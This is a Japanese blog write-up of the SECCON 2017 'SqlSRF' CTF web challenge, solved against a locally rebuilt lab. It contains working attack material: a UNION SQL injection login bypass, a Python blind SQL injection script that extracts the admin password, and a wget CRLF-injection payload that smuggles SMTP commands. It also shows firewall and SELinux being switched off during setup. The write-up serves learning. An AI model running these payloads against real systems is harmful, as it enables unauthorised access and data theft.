好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

SqlSRF (Web, 400)

SECCON 2017 online CTF の問題がGitHubで公開されたので、これを後追いでやってみた記事になります。
後追い記事の一覧はこちら
SECCON 2017 online CTF を後追いでみっちりやってみよう!

今回は環境構築がかなり手探り感ありました。なんなら環境構築がメインだったかもしれない。

問題

SqlSRF
The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.
http://sqlsrf.pwn.seccon.jp/sqlsrf/

今回はwrite-up記事からだいぶ転用しています。

事前調査

http://sqlsrf.pwn.seccon.jp/sqlsrf/ ここへアクセスしてみるも、2018/3/2 現在では環境は閉じられてしまった模様。
環境構築から始める。

環境構築

SECCONのgithubに置いてある環境構築用ディレクトリのbuildを使って環境を構築します。
かなり手順書っぽくなってしまった。。。

OSの選定、構成把握

$ cd SECCON2017_online_CTF/web/400_SqlSRF/build/var/www/html/sqlsrf
/build
$ ls
etc  root tmp  var

それぞれのディレクトリ構成を見る限り、Apache+CentOS用の設定っぽい。
ここを参照

他のOSでApacheを立てて、設定ファイルなどをよしなに書き換える手もなくはないが、動かなかったときのデバッグが激辛そうなので(攻撃が成功していないのか、環境構築時のバグなのかも切り分けづらそう・・・!)CentOSVM上で実行するのが良さそう。
※ 実はCentOS7のGUI(GNOME Desktop)がうまく入らず、Mac本体やUbuntuVMで構築を試みたが、後々絶対辛い!と何度か思い直してCentOSに戻ってきた。
そして、Apacheのversionは、httpd.confに書いてあるので 2.4 系。

今回は下記の環境で構築しました。

OS: CentOS 7 (on VirtualBox) CUIモード
Apache: version 2.4.6

CentOS 7 on VirtualBox の構築自体は下記記事を参照。

ネットワーク設定を最初からしておいたほうが良いので、VirtualBoxの対象VM設定で
設定 > ネットワーク > 割り当て
を、NATにしておく。
そして、OS install中の最後の方の画面で、ネットワークの設定をONにしておく。

VM再起動後、rootでログインしてyum updateしておく。 ※以下、全部rootログイン。

# yum -y update

共有フォルダを使いたい場合は、ゲストOSの Devices > Insert Guest Additions CD image を実施し、下記を追加で実施。

# yum -y install gcc perl bzip2 kernel-devel
# mount /dev/cdrom /mnt/cdrom
# sh /mnt/cdrom/VBoxLinuxAdditions.run
# shutdown -r now

CUI設定のままだとエラーが出るが、共有フォルダの設定ができていれば問題ない。
共有フォルダ確認。

# ls /media/
sf_vm_share

Apacheの設定・起動

Apacheを入れる。

# yum -y install httpd
# httpd version
Server version: Apache/2.4.6 (CentOS)
Server built:   Oct 19 2017 20:39:16

2.4.6系が入っていればOK。

設定ファイルを今回のSqlSRF用に置き換える。
まずはソースのclone。

# yum -y install git
# ssh-keygen -t rsa
作成された ~/.ssh/id_rsa.pub をGitHubに登録
# git clone git@github.com:SECCON/SECCON2017_online_CTF.git
# cd SECCON2017_online_CTF/web/400_SqlSRF/build

httpd.confはbackupを取って、それ以外はそのままcopy

# cp /etc/httpd/conf/httpd.conf /etc/httpd/conf/httpd.conf.back
# cp ./etc/httpd/conf/httpd.conf /etc/httpd/conf/httpd.conf
# cp -r ./root/* ~/
# cp -r ./tmp/* /tmp
# cp -r ./var/www/html/sqlsrf /var/www/html/

Apache起動

# systemctl start httpd.service

起動確認

# systemctl status httpd.service

Active: active (running) が返ってくればOK。

接続確認

$ curl localhost:80/sqlsrf/ > /media/sf_vm_share/test.html

こんなhtmlが出力されていればOK image

アイコンが表示されないのはリンク先がないから当然として、 _ から始まるファイルが余分に表示されてしまっている・・・。
気になるので var/www/html/sqlsrf/index.cgi などソースをざっと読んでみたところ、どうやら _ から始まるファイルは . 始まりにリネームする必要があるようだ。

ゲスト側で、sqlsrf配下の _ 始まりファイルを . 始まりにリネームする

# cd /var/www/html/sqlsrf
# rename _ . _*
# ls -a

もし、you don't have permission to access のエラーが出た場合は、 httpd.conf が書き換わっていないか、何処かで /var/www/http/sqlsrf 配下のアクセス権が変わってしまっている可能性がある。
アクセス権はすべて 755 になっているのが正解(元ファイルと同じという意味で)。

# find /var/www/http/sqlsrf -type f -exec chmod 755 {} \;

ホストOSからアクセスできるようにする

上記を参考に設定、ホスト側のポートは仮に 8888 とする。
設定後に再度CentOS VMを立ち上げ、Apacheサーバーを起動、ホストからゲスト(CentOS VM)のサービスにアクセス

※ホストOSから

$ curl localhost:8888/sqlsrf/
curl: (52) Empty reply from server

あれ、返信なし。 /var/log/httpd/access_log を確認してみると、ここまでアクセスが来ていない。

調べてみると、どうやらFirewallのDaemonが動いていて、こいつにブロックされている模様。
ちゃんとやり方はありそうだが、ひとまずFirewallを切ることにする。

# systemctl stop firewalld
# systemctl disable firewalld
# SELINUX=disabled

index.cgiを動かす

そのまま index.cgi へアクセスすると、internal server error発生。
errorログを調査したところ

AH01215: Can't locate CGI.pm in @INC (@INC contains: /usr/local/lib64/perl5 /usr/local/share/perl5 /usr/lib64/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib64/perl5 /usr/share/perl5 .) at /var/www/html/sqlsrf/index.cgi line 3., referer: http://localhost:8888/sqlsrf/

ということで、CGI.pm というのがいるらしい。

# yum -y install perl-CGI

これだけではまだエラーが発生したので、追加で足りないモジュールをinstall

# yum -y install perl-CGI-Session
# yum -y install perl-Crypt-CBC

CentOS 7 向けの Crypt::Rijndael を ここから DL し、CentOS 7 上に配置
配置したディレクトリで下記を実施

# rpm -Uvh perl-Crypt-Rijndael-1.12-1.el7.x86_64.rpm
# yum -y install perl-DBD-SQLite

これでなんとか動いていそう! まとめると、下記のinstallが追加で必要だった

menu.cgiを動かす

※攻撃の方を進めていかないとmenu.cgiの動作確認はできないです。 menu.cgiを動かすには、 netstatwget が必要。

しかしどうやら CentOS 7 では netstat は非推奨で、代わりに iproute2 というのを使うらしい。
が、そうは言っても今回は netstat を動くようにするのが目的なので、下記を参考にinstall。 * Qiita / CentOS7から変わったネットワーク系のコマンド

# yum -y install net-tools
# netstat --version
net-tools 2.10-alpha
...

wget

# yum -y install wget
# wget --version
GNU Wget 1.14 built on linux-gnu.
...

postfix3.2.4のコンパイル & インストール

更に問題を進めていくと、メールサーバーを起動させておく必要が有ることがわかる。
buildソースを確認すると、 build/tmppostfix-3.2.4 なるdirectoryがあり、 build/tmp/postfix-3.2.4/src/smtpd/smtpd.c が配置されている。
これで既存のソースファイルを置き換えてコンパイルし直す必要があるっぽい。

ということで、まずはpostfixのversion確認

# postconf | grep mail_version
mail_version = 2.1.x

※キャプチャ忘れたのでマイナーバージョン以下はうろ覚え。CentOS7では標準で2系が入っている模様

起動しているっぽいpostfixを停止しておく

# postfix stop

postfixのdownload Code De.co: CentOSでPostfixをアップデートする方法

# cd ~/
# wget http://cdn.postfix.johnriley.me/mirrors/postfix-release/official/postfix-3.2.4.tar.gz
# tar zxvf postfix-3.2.4.tar.gz
# cd postfix-3.2.4
# make

何やら install the appropriate db*-devel package first との文言が出てきてエラーになった・・・!

# yum install -y db*-devel
# make clean

まだエラー No <db.h> include file found. と言われている。
調べてみると、Oracle Berkeley DB というのが必要らしい。
Oracleに買収されてOracleが管理しているそうだが、Oracleアカウントを登録(無料)しないと落とせなかった。ちなみにOracleアカウント登録時のパスワード設定、記号が使えなかった。
このあたりを参考にinstall。 * Symfoware: Oracle Berkeley DBをCentOS5.4にインストールする * SE&ビジネスパーソンとしてお勉強中なブログ: Berkeley DB(4.6.21)をソースからインストール [Linux]

まずは下記サイトからモジュールのダウンロード
* Oracle Berkeley DB ダウンロード

今回は6.2.32をダウンロード。
vmのshareフォルダに配置します。以下、vm(CentOS)側のコマンド。
ビルドにえらい時間かかった・・・!

# cp /media/sf_vm_share/db-6.2.32.tar.gz ~/
# cd ~/
# tar zxvf db-6.2.32.tar.gz
# cd db-6.2.32
# cd build_unix/
# ../dist/configure
# make
# make install
# cp /usr/local/BerkeleyDB.6.2/include/db.h /usr/include/
# ln -s /usr/local/BerkeleyDB.6.2/lib/* /usr/lib

これで Berkeley DB の設定ができたので、postfixの方に戻ってbuild
buildの中にpostfix用のソースファイルがあるので、置き換えておく。

# cd ~/postfix-3.2.4
# mv src/smtpd/smtpd.c src/smtpd/smtpd.c.back
# cp /tmp/src/smtpd/smtpd.c ./src/smtpd/
# make
# make install

途中で libdb-6.2.so: cannot open shared object file: No such file or directory 的なエラーが出たので、

# ldd ~/postfix-3.2.4/vin/postconf
    中略
    libdb-6.2.so => not found
    中略

あれ、確かに libdb-6.2.so がリンクされていない。

# vi /etc/ld.so.conf.d/berkeleydb.6.2.conf
下記一行だけのファイルを作成
/usr/local/BerkeleyDB.6.2/lib
# ldconfig

リンクされたことを確認して、再度 make install

# ldd ~/postfix-3.2.4/vin/postconf
    linux-vdso.so.1 =>  (0x00007ffc78ffb000)
    libpcre.so.1 => /lib64/libpcre.so.1 (0x00007fc21eaf6000)
    libdb-6.2.so => /usr/local/BerkeleyDB.6.2/lib/libdb-6.2.so (0x00007fc21e6fb000)
    libnsl.so.1 => /lib64/libnsl.so.1 (0x00007fc21e4e1000)
    libresolv.so.2 => /lib64/libresolv.so.2 (0x00007fc21e2c7000)
    libdl.so.2 => /lib64/libdl.so.2 (0x00007fc21e0c3000)
    libc.so.6 => /lib64/libc.so.6 (0x00007fc21dcff000)
    libpthread.so.0 => /lib64/libpthread.so.0 (0x00007fc21dae3000)
    /lib64/ld-linux-x86-64.so.2 (0x0000563b4ba7c000)
# make install

postfixのversion確認

# postconf | grep mail_version
mail_version = 3.2.4

無事3.2.4にアップデートされました!
起動することを確認

# postfix start

仮想環境の再起動後は自動で立ち上がるのでコマンド打つ必要なし。

postfix3.2.4の設定

実際に今回の用途で使える形にするには、配布されたforward設定用ファイルのセッティングやOP25B対策が必要なのであった。課題多し。

下記コマンドで以下のことを実施。

  • /root/_forward を root/.forward にrename
  • /root/mail.pl の ymzk01localhost に変更
  • /root/mail.plの権限を755に
  • /root と /root/mail.pl の owner を chown nobody:nobody に
# mv /root/_forward /root/.forward
# vi /root/mail.pl
`ymzk01` を `localhost` に変更
# chmod 755 /root/mail.pl
# chown nobody:nobody /root
# chown nobody:nobody /root/mail.pl

多くの人がgmailを使うという想定で、今回はgmailだけ対応できていればよしとする。
以下は自分でメールサーバー立ててたりする場合は不要。
で、こんなエラーが出ており、肝心のgmailにメールが送信できない

postfix/smtp[xxxx]: connect to gmail-smtp-in.l.google.com[xxxx:xxxx:xxxx:xxxx::xxxx]:25: Network is unreachable

下記に理由と解決策が載っていた。が、色々条件が違うので原因と方針だけ拝借。まとめるとこんな感じ。
IThaiのブログ: Postfixでgmailにメール送信 * gmailOP25Bを実施しているので直接25番portでSMTPできない * submissionポートの587を使って通信+認証も通すように設定

必要なライブラリのインストール

# yum -y install cyrus-sasl cyrus-sasl-plain cyrus-sasl-md5 cyrus-sasl-devel
# rpm -qa|grep cyrus-sasl
cyrus-sasl-devel-2.1.26-21.el7.x86_64
cyrus-sasl-md5-2.1.26-21.el7.x86_64
cyrus-sasl-lib-2.1.26-21.el7.x86_64
cyrus-sasl-plain-2.1.26-21.el7.x86_64
cyrus-sasl-2.1.26-21.el7.x86_64
# yum -y install openssl-devel

postfixの再コンパイル&インストール。
ここを参考に。null-i.net: Linux/postfix、dovecotのSSL対応

# make tidy
# make makefiles \
   CCARGS=' \
     -DUSE_TLS \
     -I/usr/local/include \
     -DUSE_SASL_AUTH \
     -DUSE_CYRUS_SASL \
     -I/usr/include/sasl \
   ' \
   AUXLIBS=" \
     -L/usr/local/lib64 \
     -lssl \
     -lcrypto \
     -L/usr/local/lib \
     -lsasl2 \
   "
# make
# make install

設定ファイルの書き換え
ここを参考に。Qiita@hkato: PostfixのメールをGMail経由で送る

  • main.cf
# vi /etc/postfix/main.cf

末尾に次の設定を追加、GMailを中継先にしTLSを使いSMTP認証(PLAIN)にする。

# GMail
relayhost = [smtp.gmail.com]:587
smtp_use_tls = yes
smtp_tls_CApath = /etc/pki/tls/certs/ca-bundle.crt
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_tls_security_options = noanonymous
smtp_sasl_mechanism_filter = plain

認証ユーザの設定

# vi /etc/postfix/sasl_passwd

中継先SMTPアドレス:ポート 認証ユーザ名:パスワード を設定
ここで設定したユーザーとして送信される。

[smtp.gmail.com]:587    <gmail_address>:<password>
# postmap hash:/etc/postfix/sasl_passwd

設定反映

# postfix reload

postfixの設定...えらい骨が折れた!!
途中もう少しショートカットできるけど(コンパイル数回やっている・・・)もういいや!本当はもっと回り道しています。

これで環境の出来上がり。
ネットワークの設定をゴニョっとすれば、仲間内や社内メンバーで楽しめそう。 ちなみに、仮想環境起動時のコマンドは下記。※起動コマンドに設定しておけば打つ必要なし。

# systemctl start httpd.service
# systemctl status httpd.service

解法

まずはググるSQL関連のワードでSRFというと
Set Returning Functionsというのがヒットする。
関係あるのかしら。

http://sqlsrf.pwn.seccon.jp/sqlsrf/
※今回はlocalにサーバーを立てたので http://localhost:8888/sqlsrf/
にアクセスすると、以下のページが表示される image
index.cgiにアクセスすると、ログイン画面が表示。ログイン情報を持っていないと、menu.cgiにアクセスしてもリダイレクトされてlogin画面に飛ばされる。
適当にlogin名を入れてloginボタンを押して見ると、こんなメッセージが。 image

次に、index.cgi_backup20171129にアクセスして見ると、index.cgiと思われるperlソースコードが。

#!/usr/bin/perl

use CGI;
my $q = new CGI;

use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';

my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
  [
    $q->cookie(-name=>'CGISESSID', -value=>$s->id),
    ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
  ]),
  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

my $errmsg = '';
if($q->param('login') ne '') {
  use DBI;
  my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
  $errmsg = '<h2 style="color:red">Login Error!</h2>';
  eval {
    $sth->execute();
    if(my @row = $sth->fetchrow_array) {
      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
        $s->param('autheduser', $q->param('user'));
        print "<scr"."ipt>document.location='./menu.cgi';</script>";
        $errmsg = '';
      }
    }
  };
  if($@) {
    $errmsg = '<h2 style="color:red">Database Error!</h2>';
  }
  $dbh->disconnect();
}
$user = $q->escapeHTML($user);

print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;">
</div>
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

1;

どうやらログイン時のUsernameの値を、直接DBの検索クエリに使用している。ここが一つ攻撃ポイントっぽい。

my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");

試しに、sql injectionの簡単なやつをUsername欄に入れてloginしてみる

Username: kusuwada"' OR 1 = 1'"
Password:

こんな画面が現れた。エラーメッセージが変わった。

image

ほう、Databaseまでちゃんとアクセスしに行ってくれたのか。えらいえらい。ということで、なんしか SQL injection できてるようだ。
この先のコードを読んでいくと、認証が成功するとmenu.cgiに飛べることがわかる

if(my @row = $sth->fetchrow_array) {
      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {

この条件式をクリアすれば認証成功。

第一関門 index.cgi の認証を突破し menu.cgi を表示させる

ということで、index.cgiの認証を突破し、menu.cgiにたどり着くのを第一関門と勝手に定義してみました。

上のSELECT文で引っ張ってきた値(本来は暗号化されたpassword)が、入力画面のPasswordに入れた値をencrypt関数で暗号化したものと一致すれば良い。ただ、サインイン処理が存在しないので、そもそも好きに決めたusernameに対するpasswordはDBに保存されていない。
そのため、"SELECT文で引っ張ってくる値"が"入力画面のPasswordに入れた値をencrypt関数で暗号化したもの"になるようにUsernamePasswordを決める。
"SELECT文で引っ張ってくる値"については、SQL Injection可能なことがわかったので、Usernameから好きに突っ込むことができる。すなわち、Username側に暗号化された文字列(がSELECT分で引っかかるようなInjection Command)を、Password側に平文の文字列を入れると認証が通りそう。
ということで、どうも次ののstepにいくためには、平文の文字列と暗号化した文字列を入手すことが必要なようだ。
どうやったら手に入るのか、ヒントを探す。
※ちなみに、encrypt関数の中身はindex.cgi.backには載っていない。

$q->cookie(-name=>'CGISESSID', -value=>$s->id),
    ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)

ここから、save1の時、cookieremember:&encrypt($user) がsetされるらしいということがわかる。
$userはフォームのUsernameに入れた値なので、RememberMeにチェックをつけて(save==1にするため)loginすると、remembercookieに暗号化された$userがセットされる。
同じencrypt関数が使われているので、userだろうがpassだろうが、平文と暗号文の対応が取れればOK。
さらに、

$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

ここから、Usernameが空で、remembercookieが何かしら書かれている場合、$userremembercookieを復号したものが入ることがわかる。
やってみた。

  1. 上記の通り、一度kusuwadaユーザーでRememberMeをオンにしてログイン
  2. remember cookiekusuwadaが暗号化されたものがセットされる
  3. ログイン画面で Username, Password, RememberMe 全て空(or off)の状態で login 実行
  4. Usernameにkusuwadaが入る
  5. つまり、remember cookieの値がdecodeされてフォームに入力された

おお〜。400点問題でも案外楽しめている。

第一関門突破手順

  1. 適当なパスワードを決めて、それの暗号文を取得
    今回は kusuwada にすることに。
    Username: kusuwada
    RememberMe: ON
    でloginしてremembercookieを確認 -> encrypt("kusuwada")取得
  2. 認証を通してlogin
    Username: ' UNION SELECT "{encrypt(kusuwada)}" --
    Password: kusuwada
    でlogin

SQL Injectionなんて普段実践することないので、Usernameに入れるクエリの組み立て方はググった。

これにより、プログラム内のクエリは

SELECT password FROM users WHERE username='"' UNION SELECT "{encrypt(kusuwada)}" --"';

となる。 -- は一行コメントの開始と解釈され、以降は無視されるため実質下記のようになり、構文エラーは発生しなくなる

SELECT password FROM users WHERE username='"' UNION SELECT "{encrypt(kusuwada)}"

更に、UNION は左辺と右辺のSQLをつなげる構文で、今回は左辺のクエリは引っかからない想定なので、

SELECT "{encrypt(kusuwada)}"

となり、クエリ結果は {encrypt(kusuwada)} となります。

cookieの確認方法は以下など参照。こういうことはしばらくやっていないとすぐ忘れてしまう・・・。

1 の手順で、remember:743f7c045d8853660c482b84f487e01fcookieから得られる
2 の手順を実施すると

image

おお、menu.cgiに移行した!

この画面上のnetstat -tnl ボタンを押すと、こんな感じでnetstat結果が取得できる
※環境構築の menu.cgiを動かす をやっていないと出てこない

image

localの25番ポートが開いているようなので、メールが送れそう。

問題文から、

The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.

ということなので、"give me flag" というタイトルのメールをrootに投げれば良いようだ。

ただし、2.のフォームはadminのみが使えるよ、ということで、adminとしてログインし直す必要があるようだ。
いまは' UNION SELECT "743f7c045d8853660c482b84f487e01f" -- とかいうUsernameになっているが、ここがadminになるようにPasswordを探し出すのが次のミッション。
先は長そうだ。。。

第二関門 admin ユーザーで認証を突破する

今回の SQL injection の脆弱性は、DBからの戻り値が直接どこかしらに表示されたり返却されるわけではなく、"認証が成功したか、失敗したか" の情報しかわからない。
こういうときどうすればいいの?ということで、他の方のwrite-up記事やSQL injection周りの情報を調べたところ、どうやら Blind SQL Injection なる手法があるらしい。

Blind SQL Injection は、普通の SQL injection がある箇所にサブクエリを仕込み、その結果のOK/NGを何らかの方法で確認して情報を得る手法。今回の場合は、認証に成功したか、失敗したか、の情報はエラーメッセージから得ることができるので、これを使ってadmin用のpasswordを推定していくことができる...かも。

Blind SQL Injection について、参考にしたのはこのあたりのサイト

かの徳丸さんも何度か記事を書いたりYahoo!知恵袋で回答されたりしている。

この徳丸さんのYahoo!知恵袋の回答が簡潔で分かりやすかった。

そして、更にBlind SQL Injection の中にも種類があるらしい。
Blind SQL Injectionでは、何かしらの方法でOK/NGがわかるシステムに対して、その反応を見ながら攻撃を試行していくのに対し、それすらもわからないシステムに対して、攻撃SQL文にタイマーを仕掛けて情報を予測する Time-base SQL Injection というのがあるそうだ。
クエリの中に「○○だったら5秒wait」といった記述をし、攻撃の試行にかかる時間を観測することで、通常のBlind SQL Injectionと同等の情報を得ようとする方法。時間を判定に使うため、通常の方法よりは時間がかかるが、なんの情報も返却してこないシステムにも有効なところがすごい。

それぞれの攻撃の関係図はこんな感じ。

SQL Injection 種別 * SQL Injection: 攻撃に使用したクエリの結果が、直接攻撃者に返却(表示)されるときに有効 * Blind SQL Injection: 攻撃に使用したクエリの結果は攻撃者に返却されないが、クエリの成否など間接的な結果が返却されるときに有効 * Time-base SQL Injection: 攻撃に使用したクエリの結果や成否など、なんの情報も攻撃者に返却されないときに有効

もちろん下に行くに従って攻撃コストは上がっていくわけだけど、使われているらしい文字種別が少なかったり文字数が少なかったりすると、Blindの2つも比較的低コストで情報が取れたりするので、十分有用な攻撃手法。

ということで、今回はBlind SQL Injectionを試してみることに。

Goal:
admin user の password を先頭から一文字ずつ、可能性の有りそうな文字を総当りで試していって合致するか確認。合致した場合だけ、ログインが成功するようにする。

"admin user の password を先頭から一文字ずつ、可能性の有りそうな文字を総当りで試していって合致するか" の条件は下記

WHERE username='admin' AND SUBSTR(password,1,len({try_pass}))='{try_pass}'

上記の条件のtrue/falseに応じて、"ログイン成功 / LoginError が出るようにする" ためには、これまでの試行で手に入れた、ログインに成功する kusuwada{encrypt(kusuwada)} のペアが使える。

' UNION SELECT "{encrypt(kusuwada)}" FROM users WHERE 上記の条件式 --

これで、条件式がtrueの場合はログインに成功、falseの場合はLoginErrorが出る。

' UNION SELECT "{encrypt(kusuwada)}" FROM users WHERE username='admin' AND SUBSTR(password,1,{try_pass})='{try_pass}' --

しかし、これでは先頭から始めていつ(何文字目で)やめればいいかわからない。全部で何文字か予めわかっていると嬉しい。
上記のpasswordの推測と同じように、WHERE句以下を長さを推測する条件式に差し替える

WHERE username='admin' AND LENGTH(password)={try_pass_len}

これらの攻撃用SQL分を考慮して組んだスクリプトは下記。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests

url = "http://localhost:8888/sqlsrf/index.cgi"
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(65, 65+26)] + \
    [chr(i) for i in range(97, 97+26)] + ["_"]
    # print(''.join(candidates))
    # 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_


def attack(attack_sql):
    payload = {
        'user': attack_sql,
        'pass': 'kusuwada',
        'login': 'login',
    }
    res = requests.post(url, data=payload)
    return res


def force_attack(try_pass):
    attack_sql = "' UNION SELECT \"743f7c045d8853660c482b84f487e01f\" FROM users WHERE username='admin' AND SUBSTR(password,1," + str(len(str(try_pass))) + ")='"+ str(try_pass) +"' --"
    return attack(attack_sql)


def pass_len_attack(pass_len):
    attack_sql = "' UNION SELECT \"743f7c045d8853660c482b84f487e01f\" FROM users WHERE username='admin' AND LENGTH(password)=" + str(pass_len) +" --"
    return attack(attack_sql)


def check_result(res):
    ## 表示されるエラーメッセージを確認する
    # NGだった場合は "Login Error!" 表示され、OKだった場合は表示されずにmenu.cgiへのlocationが返却される
    # そもそもクエリがおかしいときは "Database Error!"
    if "Login Error!" not in res.text:
        return True
    elif "Database Error!" in res.text:
        print("[ERROR] Query is not work")
        return False
    return False


####################
###     main     ###
####################

## 攻撃SQL文を組み立てる
# まずはencryptされたpassの長さを探る
try_pass_len = 1
while True:
    print(try_pass_len)
    res = pass_len_attack(try_pass_len)
    if check_result(res):
        break
    try_pass_len += 1
print("enc_pass length: " + str(try_pass_len))

# 先頭の文字から一文字ずつ増やして検証していく
fix_pass = ""
while (len(fix_pass) < try_pass_len):
    for c in candidates:
        try_pass = fix_pass + str(c)
        print(try_pass)
        res = force_attack(try_pass)
        if check_result(res):
            fix_pass += c
            break

print("enc_pass: " + fix_pass)

実行の結果、passの文字数は 32, encryptされたpassは

enc_pass: d2f37e101c0e76bcc90b5634a5510f64

となった。
私の貧弱な2011年モデルのMacBookAirでも、ものの2分で完了。
この値をcookieのrememberにセットし直し、ログイン画面からusernameを空にセットしてログイン。すると、decryptしたpassが画面上に表示される。

Yes!Kusomon!!

kusomon.png

Username:admin
Password: Yes!Kusomon!!

でログインすると、無事 admin として menu.cgi 画面にたどり着くことができました。

先程は使えなかった2.の機能が使えるようになっています。
wget --debug -O /dev/stdout 'http://' というボタンのあとに、 2017.seccon.jp/ と値の入ったフォームが。押してみるとこんなん出てきた(上の方は切れていますがあしからず)

admin_menu

どうやらボタンとフォームの文字列をつなげたものがコマンドとして実行され、
結果が出力されるようだ。
今回は wget [オプション] 'http://2017.seccon.jp' が実行されたので、2017 SECCON の Topページの情報が取得できている。

第一関門突破時に netstat コマンドで確認したとおり、localの25番ポートが開いているようなので、メールが送れそう。

第三関門 wgetでrootにメールを送信

ということで、localの25番ポートをおさわりしてみる。
menu.cgi 画面の 2.wget から

wget --debug -O /dev/stdout 'http://127.0.0.1:25'

出力結果

Setting --output-document (outputdocument) to /dev/stdout
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)
--2018-04-24 03:02:07--  http://127.0.0.1:25/
Connecting to 127.0.0.1:25... connected.
Created socket 4.
Releasing 0x00000000020a1c20 (new refcount 0).
Deleting unused 0x00000000020a1c20.

---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.14 (linux-gnu)
Accept: */*
Host: 127.0.0.1:25
Connection: Keep-Alive

---request end---
HTTP request sent, awaiting response...
---response begin---
---response end---
200 No headers, assuming HTTP/0.9
Registered socket 4 for persistent reuse.
Length: unspecified
Saving to: '/dev/stdout'
220 localhost.localdomain ESMTP Postfix
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
500 5.5.2 Error: bad syntax

この出力情報から、サーバーでpostfixメーラーとして動いていることが確認できる。
さて、このフォームからはwgetしか使えないが、メールをrootに送信するためにはhttpではなくてsmtpプロトコルとして送る必要がある。
パイプで簡単なコマンドを繋いでみたが、キャンセルされた。そんなに簡単には行かないか・・・!

ここから先は知識がないのでぐぐって探そうとしたのだけども、後追いの悲しさよ、write-up記事ばかり出てくるので割り切ってそこから拝借。
どうやら wget脆弱性で改行コードが挿入できてしまうというのがあるらしく(CVE-2017-6508)、これを利用するとwgetcookieがset出来ちゃったりするようだ。(*2 参照) ということは、同様にしてsmtpプロトコルも送れそう。 1. CVE-2017-6508: wget: CRLF injection in the url_parse function in url.c 2. [Bug-wget] Vulnerability Report - CRLF Injection in Wget Host Part * 上記脆弱性情報のサイトからの攻撃コードReference 3. Orange Tsai: A New Era of SSRF - Exploiting URL Parser in Trending Programming Languag

下記、WikipediaSMTPの簡素な構文を参考に、メールを組み立ててみる * Wikipedia: Simple Mail Transfer Protocol

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import urllib.parse

MAIL = 'kusuwada@example.com'

commands = [
    'HELO 127.0.0.1',
    'MAIL FROM: ' + MAIL,
    'RCPT TO: root',
    'DATA',
    'From: ' + MAIL,
    'To: root',
    'Subject: give me flag',
    '',
    'Body',
    '.',
    'QUIT',
    ]

smtp_data = urllib.parse.quote('\n'.join(commands))

# wgetの脆弱性はhost部に改行が挿入できる
attack_data = '127.0.0.1' \
            + urllib.parse.quote('\r\n') \
            + smtp_data \
            + urllib.parse.quote('\n') \
            + ':25'
print(attack_data)

メール分を組み立てて、それを wget で指定するHostの後、Portの前に突っ込む。
これで出力された文字列を、今表示中の manu.cgiwget のフォームに入力して wget 実行(っぽいボタンを押す)

wget --debug -O /dev/stdout 'http://{今回作成した文字列}'

すると、fromにしていたアドレスに、下記のようなメールが!(サーバー側の認証も同じアドレスで行っていたので、自分から自分へのメールになってしまったが・・・)

mail.png

あとはこの通知された Encrypted-FLAG を、index.cgi ページの remember cookie に設定してページをリロードすると、Username欄にフラグがdecryptされて出現

flag.png

SECCON{SSRFisMyFriend!}

感想

とにかく環境構築にかなり時間を割いた。ただ、SECCONを後追いでやってるとどうしてもヒントや解法が目に入ってしまったり、それを見て解いてしまいたい気持ちに襲われるのを我慢するのが大変だけども、今回の環境構築については完全に手探りだったので、答えが書いていないものを探していく感覚が楽しかった。
※って何処かに構築手順書いてあったらおまぬけもいいところですが・・・
お陰様で久しぶりにCentOS触ったし、postfixも初めて触れた。まさかここで OP25B に阻まれ、サブミッションポート+認証で回避、を実践することになるとは思いもしなかったけどとっても良い経験でした。

肝心の本筋(Capture the Flag)の方も、どれも勉強になる題材だったし、奇抜なところ(エスパー能力が必要なところ)もなくて良かった。興味のある分野の問題だったのも大きいかもしれない。